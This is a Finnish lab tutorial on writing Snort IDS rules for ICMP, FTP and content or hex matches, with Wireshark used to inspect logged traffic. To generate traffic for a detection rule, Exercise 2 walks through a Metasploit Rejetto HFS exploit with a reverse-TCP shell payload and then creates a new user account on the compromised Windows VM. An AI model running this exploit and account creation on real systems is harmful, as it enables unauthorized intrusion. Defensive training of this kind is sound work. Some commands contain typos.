Tässä laboratorioharjoitussarjassa esitellään erilaisia tekniikoita Snortin sääntöjen kirjoittamiseen, sääntöjen perussyntaksista erityyppisten hyökkäysten havaitsemiseen tarkoitettujen sääntöjen kirjoittamiseen. Tarkastelemme myös joitakin peruslähestymistapoja sääntöjen suorituskyvyn analysointiin ja optimointiin.

Harjoitus 1: Snort IDS:nä

Snort tunnetaan parhaiten IDS:nä. Snort.org-sivustolta:

”Snort® on Sourcefiren kehittämä avoimen lähdekoodin verkon tunkeutumisen esto- ja havaitsemisjärjestelmä (IDS/IPS). Snort yhdistää allekirjoitukseen, protokollaan ja poikkeavuuksiin perustuvan tarkastuksen edut, ja se on maailmanlaajuisesti laajimmin käytössä oleva IDS/IPS-teknologia. Miljoonien latausten ja lähes 400 000 rekisteröidyn käyttäjän ansiosta Snortista on tullut IPS:n de facto-standardi.”

On myös syytä mainita, että Cisco osti Sourcefiren lokakuun alussa 2013.

Snort voi periaatteessa toimia kolmessa eri tilassa: IDS-tilassa, lokitilassa ja sniffer-tilassa. Käytämme Snortia tässä laboratorion osassa IDS-tilassa ja myöhemmin käytämme sitä pakettien kirjaajana. Käytämme Ubuntu Server VM:ää, Windows Server 2012 R2 VM:ää ja Kali Linux VM:ää tässä laboratoriossa.

Sinulla on Snortin versio 2.9.8 asennettuna Ubuntu Server VM:ään. Käynnistä Ubuntu Server VM, kirjaudu sisään tämän oppaan alussa annetuilla tunnuksilla ja avaa terminaalikuori kaksoisnapsauttamalla työpöydän pikakuvaketta. (Vaihtoehtoisesti voit avata uuden komentotulkin painamalla Ctrl+Alt+T.)

Varmistaaksesi Snortin version kirjoita snort -V ja paina Enter-näppäintä.

Seuraavaksi meidän on määritettävä HOME_NET-arvomme: verkko, jota suojaamme. Kirjoita ensin ifconfig pääteikkunassa nähdäksesi verkon kokoonpanon. Huomaa IP-osoite ja verkkoliitännän arvo. Katso alla olevaa kuvaa (IP-osoitteesi voi olla erilainen).

Seuraavaksi kirjoita seuraava komento avataksesi snortin konfigurointitiedoston gedit-tekstieditorilla:

sudo gedit /etc/snort/snort.conf

Syötä Ubuntu Serverin salasana. Kun snort.conf-tiedosto avautuu, selaa alaspäin, kunnes löydät ipvar HOME_NET -asetuksen. Haluat muuttaa IP-osoitteen todelliseksi C-luokan aliverkoksi. Tällä hetkellä sen pitäisi olla 192.168.132.0/24. Muutat yksinkertaisesti IP-osoiteosan vastaamaan Ubuntu Server VM:n IP-osoitettasi ja varmistat, että jätät ”.0/24″:n loppuun.

Valitse Save (Tallenna) ylhäällä olevasta palkista ja sulje tiedosto. Tässä vaiheessa Snort on valmis ajettavaksi. Paitsi että sillä ei ole yhtään sääntöä ladattuna. Tarkista asia suorittamalla seuraava komento:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Tässä käskemme Snortia testaamaan (-T) konfigurointitiedostoa (-c viittaa sen sijaintiin) eth0-liitännässä (syötä liitännän arvo, jos se on eri). Tämä tuottaa paljon tulostetta. Selaa ylöspäin, kunnes näet ”0 Snort rules read” (katso kuva alla).

Kävelläänpä läpi tämän säännön syntaksi:

Säännön otsikot

  • alert – Säännön toiminta. Snort luo hälytyksen, kun asetettu ehto täyttyy.
  • any – Lähde-IP. Snort tarkastelee kaikkia lähteitä.
  • any – Lähteen portti. Snort tarkastelee kaikkia portteja.
  • -> – Suunta. Lähteestä määränpäähän.
  • $HOME_NET – Kohteen IP. Käytämme HOME_NET-arvoa snort.conf-tiedostosta.
  • any – Kohteen portti. Snort tarkastelee kaikkia suojatun verkon portteja.

Rule options:

  • msg: ”ICMP test” – Snort sisällyttää tämän viestin hälytykseen.
  • sid:1000001 – Snortin säännön ID. Muista, että kaikki numerot, jotka ovat pienempiä kuin 1 000 000, on varattu; siksi aloitamme numerolla 1 000 001. (Voit käyttää mitä tahansa numeroa, kunhan se on suurempi kuin 1 000 000.)
  • rev:1 – Revision numero. Tämä vaihtoehto helpottaa sääntöjen ylläpitoa.
  • classtype:icmp-event – Luokittelee säännön ”icmp-eventiksi”, joka on yksi Snortin ennalta määritellyistä luokista. Tämä vaihtoehto auttaa sääntöjen järjestämisessä.

Klikkaa Tallenna ja sulje tiedosto. Suoritetaan nyt Snortin konfiguraatiotesti-komento uudelleen:

sudo snort -T -i eth0 -c /etc/snort/snort.conf

Jos selaat ylöspäin, sinun pitäisi nähdä, että yksi sääntö on ladattu.

Käynnistetään nyt Snort IDS-tilassa ja käsketään sitä näyttämään hälytykset konsolille:

sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0

Jälleen kerran osoitamme Snortin käyttämäänsä konfiguraatiotiedostoon (-c) ja määrittelemme rajapinnan (-i eth0). -A-konsolivaihtoehto tulostaa hälytykset standarditulosteeseen, ja -q on ”hiljainen” tila (ei näytä banneria eikä tilaraporttia). Sinun ei pitäisi nähdä mitään tulostetta, kun syötät komennon, koska Snort ei ole havainnut mitään kirjoittamassamme säännössä määriteltyä toimintaa.

Tuotetaan hieman toimintaa ja katsotaan, toimiiko sääntömme.

Käynnistä Kali Linux VM. Saatat joutua kirjoittamaan startx tunnusten syöttämisen jälkeen päästäksesi graafiseen käyttöliittymään. Kun olet siellä, avaa terminaalikuori napsauttamalla ylävalikkopalkin kuvaketta.

Aloita nyt Ubuntu-palvelimesi pingaaminen seuraavalla komennolla (käytä Ubuntu-palvelimesi IP-osoitetta .x:n sijasta.x):

ping 192.168.x.x

Anna sen käydä pari sekuntia ja paina Ctrl+C pysäyttääksesi ja palataksesi kehotteeseen.

Palaa nyt Ubuntu-palvelimeesi, jossa on käynnissä Snort IDS. Sinun pitäisi nähdä, että jokaisesta ICMP Echo request- ja Echo reply -viestistä luodaan hälytyksiä, joissa on msg-vaihtoehdossa määrittelemämme viestiteksti:

Näemme myös hälytyksen synnyttäneestä toiminnasta vastuussa olevan isäntäkoneen lähde-IP-osoitteen. Yllä olevassa esimerkissä se on 192.168.132.133; omasi voi olla erilainen (mutta se on Kali Linux VM:n IP-osoite). Testisääntömme toimii! Paina Ctrl+C pysäyttääksesi Snortin ja palataksesi kehotteeseen.

Kirjoitetaan nyt toinen sääntö, tällä kertaa hieman tarkempi. Avaa local.rules-tiedostomme tekstieditorilla:

sudo gedit /etc/snort/rules/local.rules

Kommentoidaan ensin ensimmäinen sääntömme pois. Laitetaan sen eteen punta-merkki (#). Kirjoita uudelle riville seuraava sääntö (käyttäen Kali Linuxin IP-osoitetta x.x):

alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: ”FTP connection attempt”; sid:1000002; rev:1;)

Tässä vaihdoimme protokollan TCP:ksi, käytimme tiettyä lähde-IP:tä, asetimme kohdeportin numeroksi 21 (FTP-yhteyksien oletusportti) ja muutimme hälytysviestin tekstin. Tallenna ja sulje tiedosto. Käynnistetään nyt Snort IDS-tilassa uudelleen, mutta tällä kertaa lisäämme vielä yhden vaihtoehdon seuraavasti:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii

Käskemme Snortia kirjaamaan generoidut hälytykset oletusarvoisen pcap-muodon sijasta ASCII-muodossa. Kun Snort on käynnissä (jälleen kerran, et näe mitään tulostetta heti), siirry Kali Linux VM:ään ja kirjoita seuraava komento terminaalikuoressa (käyttäen Ubuntu Serverin IP-osoitetta):

ftp 192.168.x.x

Mene takaisin Ubuntu Serveriin. Sinun pitäisi nähdä, että hälytys on luotu.

Voidaksesi varmistaa, että sääntö ei tuota vääriä hälytyksiä, voit avata toisen terminaalikuoren Ubuntu Server VM:ssä ja yrittää muodostaa yhteyden samaan FTP-palvelimeen. Sinun ei pitäisi nähdä uusia hälytyksiä. Paina Ctrl+C pysäyttääksesi Snortin.

Ja suorita nyt seuraava komento tehdäksesi luettelon Snortin lokihakemistosta:

ls /var/log/snort

Sinun pitäisi nähdä jotakin samanlaista kuin seuraavassa kuvassa:

Snort.log.*-tiedosto (sinulla voi olla useampi kuin yksi, jos olet luonut useamman hälytyksiä aiheuttavan toiminnon aiemmin) on .pcap-lokitiedosto. Sitä ei voi lukea tekstieditorilla. Näkyvä IP-osoite (omasi on erilainen kuin kuvassa) on juuri näkemämme FTP-sääntöä koskevan hälytyksen lähde-IP-osoite. Se on hakemisto. Katsotaanpa, mitä sen sisällä on:

sudo ls /var/log/snort/192.168.x.x

Näet, että siellä on tiedosto, joka on nimetty protokollan (TCP) ja toimintaan liittyvien porttinumeroiden mukaan. Voimme lukea tätä tiedostoa tekstieditorilla tai käyttää cat-komentoa:

sudo cat /var/log/snort/192.168.x.x.x/TCP:4561-21

Saamme samoja tietoja kuin mitä näimme konsolin ulostulossa muutamilla lisätiedoilla.

Entä .pcap-tiedostot? Voimme käyttää Wiresharkia, suosittua verkkoprotokolla-analysaattoria, niiden tutkimiseen. Käynnistä ohjelma kirjoittamalla sudo wireshark. Klikkaa OK kuitataksesi avautuvat virhe-/varoitusviestit. Kun olet Wiresharkin pääikkunassa, valitse File → Open.

Selaa hakemistoon /var/log/snort, valitse tiedosto snort.log.* ja napsauta Open.

Tässä on paljon lisää tietoa! Laajenna mitä tahansa keskimmäisen ruudun kohteita napsauttamalla. Nyt voimme tarkastella jokaisen paketin sisältöä.

Sulje Wireshark. Käytämme sitä paljon harjoitusten aikana.

Kirjoitetaan seuraavaksi sääntö, joka etsii protokollien, IP-osoitteiden ja porttinumeroiden lisäksi myös sisältöä. Ensin meidän on luotava jonkinlainen aktiviteetti, josta saamme sääntöä varten tarvittavan sisällön.

Käynnistä Windows Server 2012 R2 VM ja kirjaudu sisään tämän oppaan alussa annetuilla tunnuksilla. Tässä VM:ssä on käynnissä FTP-palvelin. Selvitä ensin Windows Server 2102 R2 VM:n IP-osoite. Voit tehdä tämän avaamalla komentorivin työpöydän pikakuvakkeesta ja kirjoittamalla ipconfig.

Huomaa ”IPv4-osoite”-arvo (omasi voi olla erilainen kuin kuvassa). Mene nyt takaisin Ubuntu Server VM:ään ja kirjoita ftp 192.168.x.x (käyttäen juuri etsimääsi IP-osoitetta). Kun sinulta kysytään nimeä ja salasanaa, paina Enter. Tutki tulostetta.

Kuten näemme, virheellisten tunnusten syöttäminen johtaa viestiin, jossa lukee ”Login or password incorrect”. Nyt meillä on tarpeeksi tietoa sääntömme kirjoittamiseen. Kirjoita quit poistuaksesi FTP:stä ja palataksesi kehotteeseen. Avaa local.rules-tiedostomme uudelleen:

sudo gedit /etc/snort/rules/local.rules

Koska tulemme työskentelemään tämän tiedoston kanssa paljon, voit jättää sen auki ja käynnistää uuden pääteikkunan komentojen syöttämistä varten.

Lisää uudella rivillä seuraava sääntö:

alert tcp $HOME_NET 21 -> any any (msg: ”FTP failed login”; content: ”Login or password incorrect”; sid:1000003; rev:1;)

Huomaa, että nyt asetamme lähde-IP:ksi HOME_NET:n arvon, koska etsimme lähtevän FTP-palvelimen vastauksia. Tallenna tiedosto. Testataan nyt sääntöä. Käynnistä Snort IDS-tilassa:

sudo snort -A console -q -c /etc/snort/snort.conf -i eht0

Mene nyt Kali Linux VM:ään ja yritä muodostaa yhteys Windows Server 2012 R2:n FTP-palvelimelle (ftp 192.168.x.x.x) syöttämällä mitä tahansa arvoja nimelle ja salasanalle. Kirjoita quit palataksesi kehotteeseen. Palaa takaisin Ubuntu Server VM:ään. Sinun pitäisi nähdä useita hälytyksiä, jotka on luotu molemmilla aktiivisilla säännöillä, jotka olemme ladanneet Snortiin. Pysäytä Snort painamalla CTRL+C.

Harjoitus 2: Snort pakettien kirjaajana

Tämän päivän nopeasti muuttuvassa hyökkäysympäristössä ja hyökkäysvektoreissa emme välttämättä edes tiedä, mitä meidän pitäisi etsiä, ennen kuin olemme nähneet hyökkäyksen. Sitten, tutkittuamme kyseistä liikennettä, voisimme ehkä luoda säännön kyseistä tiettyä ”uutta” hyökkäystä varten. Juuri näin luodaan julkisesti saatavilla olevat Snortin oletussäännöt. Ajamme nyt Snortia lokitilassa ja katsomme, mitä pystymme tunnistamaan liikenteestä tekemiemme hyökkäysten perusteella.

Tässä harjoituksessa simuloimme hyökkäystä Windows-palvelimeemme, kun ajamme Snortia pakettien lokitilassa. Sitten tutkimme kirjattuja paketteja nähdäksemme, pystymmekö tunnistamaan hyökkäyksen allekirjoituksen.

Varmista, että kaikki kolme VM:ää (Ubuntu Server, Windows Server ja Kali Linux) ovat käynnissä. Kirjoita Kali Linux VM:ssä terminaalin komentotulkkiin seuraava:

msfconsole

Tämä käynnistää Metasploit Frameworkin, joka on suosittu penetraatiotestausalusta. Sen lataaminen kestää muutaman sekunnin. Älä välitä tietokantayhteysvirheestä. Odota, kunnes näet msf>-kehotteen. Kun olet siellä, kirjoita seuraava komentosarja:

use exploit/windows/http/rejetto_hfs_exec

set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.x.x (Kali Linux VM:n IP-osoite)

set RHOST 192.168.x.x (Windows Server 2012 R2 VM:n IP-osoite)

set RPORT 8081

Tässä konfiguroimme hyväksikäytön haavoittuvaa Rejetto HFS HTTP-tiedostopalvelimen versiota vastaan, joka toimii Windows Server 2012 R2 VM:ssä.

Ennen exploitin suorittamista meidän on käynnistettävä Snort pakettien kirjaustilassa. Mene Ubuntu Server VM:ään ja kirjoita seuraava komento terminaalikuoressa:

sudo snort -dev -q -l /var/log/snort -i eth0

Et näe mitään tulostetta. Mene nyt takaisin Kali Linux VM:ssä konfiguroimallesi msf-hyökkäysohjelmalle ja syötä exploit. Jos exploit onnistui, sinun pitäisi päätyä komentotulkkiin:

Nyt kun meillä on pääsy järjestelmään, tehdään seuraavaa:

Luo uusi käyttäjätili:

net user accountname P@ssword12 /ADD

Vaihda hakemistot osoitteeseen c:

cd

Tee uusi hakemisto, joka on sinun nimesi.

mkdir nimesi

Paina nyt Ctrl+C ja vastaa y:llä ”kyllä” sulkeaksesi komentotulkin käyttöoikeutesi.

Seuraavaksi siirry Ubuntu-palvelin-VM:ään ja lopeta Snort painamalla Ctrl+C. Kirjoita sudo wireshark pääteikkunaan. Siirry Wiresharkissa kohtaan File → Open (Tiedosto → Avaa) ja selaa osoitteeseen /var/log/snort. Tässä vaiheessa meillä on siellä useita snort.log.*-tiedostoja. Valitse se, jota on muokattu viimeksi, ja napsauta Open.

Sinun pitäisi nähdä melko paljon kaapattuja paketteja.

Meidän on löydettävä ne, jotka liittyvät simuloituun hyökkäykseemme. Valitse Wiresharkissa Muokkaa → Etsi paketti. Valitse avautuvassa valintaikkunassa String-valintaruutu. Valitse seuraavaksi Search In -kriteeriksi Packet Bytes. Kirjoita sitten hakujonoksi luomaasi käyttäjänimeä.

Kun olet määrittänyt hakuikkunan, napsauta Etsi-painiketta. Haun pitäisi löytää paketti, joka sisältää etsimäsi merkkijonon. Siirry eteenpäin ja valitse kyseinen paketti. Se on tumman oranssin värinen. Napsauta sitä hiiren kakkospainikkeella ja valitse Follow TCP Stream.

Tämän toiminnon pitäisi näyttää kaikki kyseisessä TCP-istunnossa syötetyt komennot. Tämä sisältää tilin luomisen sekä muut toiminnot.

Varmennettuasi tulokset sulje stream-ikkuna. Tämän pitäisi viedä sinut takaisin alussa valitsemaasi pakettiin. Paina nyt nuolta ylöspäin, kunnes näet heksadumppisi ASCII-osan näyttävän ”C:UsersAdministratorDesktophfs2.3b>” alaruudussa. Katso alla.

Huomaa valittu osa yllä olevassa kuvassa. Käytämme tätä sisältöä luodaksemme hälytyksen, joka ilmoittaa meille, kun komentokuorta lähetetään toiselle isännälle Rejetto HFS -hyökkäyksen seurauksena. Minimoi Wireshark-ikkuna (älä sulje sitä vielä).

Harjoitus 3: Mukautetun säännön luominen kirjautuneesta liikenteestä

Haluamme, että hälytys ilmestyy aina, kun Snort näkee ”C:UsersAdministratorDesktophfs2.3b>”. Siirry local.rules-tiedostoomme (jos suljit sen, avaa se uudelleen pääkäyttäjänä käyttäen samaa komentoa kuin aiemmin) ja lisää seuraavanlainen sääntö uudelle riville (huomaa, että vältämme kaikki backslashit varmistaaksemme, että ne sisältyvät sisältöön):

alert tcp $HOME_NET any -> any any (msg: ”Command Shell Access”; content: ”C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)

Tallenna tiedosto. Käynnistä Snort IDS-tilassa uudelleen:

sudo snort -A console -q -c /etc/snort/snort.conf -i eth0

Mene nyt takaisin Kali Linux VM:ään. Sinun pitäisi edelleen olla rejetto-hyökkäyksen kehotteessa. Kirjoita vain exploit suorittaaksesi sen uudelleen. Odota, kunnes saat komentotulkin käyttöoikeuden ja palaa Ubuntu Serverin Snort-päätteeseen. Sinun pitäisi nähdä, että hälytyksiä on luotu uuden sääntömme perusteella:

Paina Ctrl+C Kali Linux -terminaalissa ja kirjoita y poistuaksesi komentotulkista. Paina sitten Ctrl+C Ubuntu-palvelimen päätelaitteessa pysäyttääksesi Snortin.

Tässä tapauksessa meillä on jonkin verran ihmiselle luettavaa sisältöä, jota voimme käyttää säännössämme. Näin ei kuitenkaan aina ole.

Muutetaan sääntöämme niin, että se etsii sisältöä, joka esitetään heksamuodossa. Kopioi ensin local.rules-tiedostossamme uusin sääntömme ja liitä se alla olevalle uudelle riville. Kommentoi nyt vanha sääntö pois ja muuta uuden säännön ”rev”-arvo arvoksi ”2”. Katso alla.

Avaa Wireshark-ikkuna, jossa kaappauksemme on taas valittuna sama hyötykuormaosuus. Valitettavasti heksan arvoja ei voi kopioida suoraan Wiresharkin pääikkunasta, mutta on olemassa helppo ratkaisu, joka toimii meille. Kun tarvittava sisältö on valittu, napsauta hiiren kakkospainikkeella joko vastaavaa (korostettua) pakettia yläikkunassa tai korostettua ”Data:”-merkintää keskimmäisessä ikkunassa ja valitse Copy → Bytes → Offset Hex. Katso alla.

Valitse nyt local.rules-tiedostossamme uuden sääntömme sisältöargumentti (kaikki lainausmerkkien välissä oleva), napsauta hiiren kakkospainikkeella ja valitse Liitä. Poista nyt huolellisesti kaikki ylimääräiset välilyönnit, rivinvaihdot ja niin edelleen, jolloin jäljelle jäävät vain tarvittavat heksan arvot. Laita sitten putkisymbolit (|) molemmille puolille. Valmiin sääntösi pitäisi näyttää alla olevan kuvan kaltaiselta.

Tallenna tiedosto. Käynnistä Snort IDS-tilassa. Siirry seuraavaksi Kali Linux VM:ään ja suorita exploit uudelleen. Odota, kunnes saat komentotulkin ja katso Snortin ulostuloa. Sinun pitäisi nähdä luotuja hälytyksiä.

Tällä kertaa näemme kaksi hälytystä neljän sijaan, koska sisällysimme sisältöön ”>”-symbolin heksamuunnoksen, mikä tekee säännöstä tarkemman.

Pysäytä Snort painamalla Ctrl+C. Paina sitten Kali Linux VM:ssä Ctrl+C ja kirjoita y poistuaksesi komentotulkista. Kirjoita exit palataksesi tavalliseen komentokehotteeseen.

Tässä on vain joitakin Snortin sääntöjen kirjoittamisen perusasioita. Myöhemmin tarkastelemme joitakin edistyneempiä tekniikoita.

Vastaa

Sähköpostiosoitettasi ei julkaista.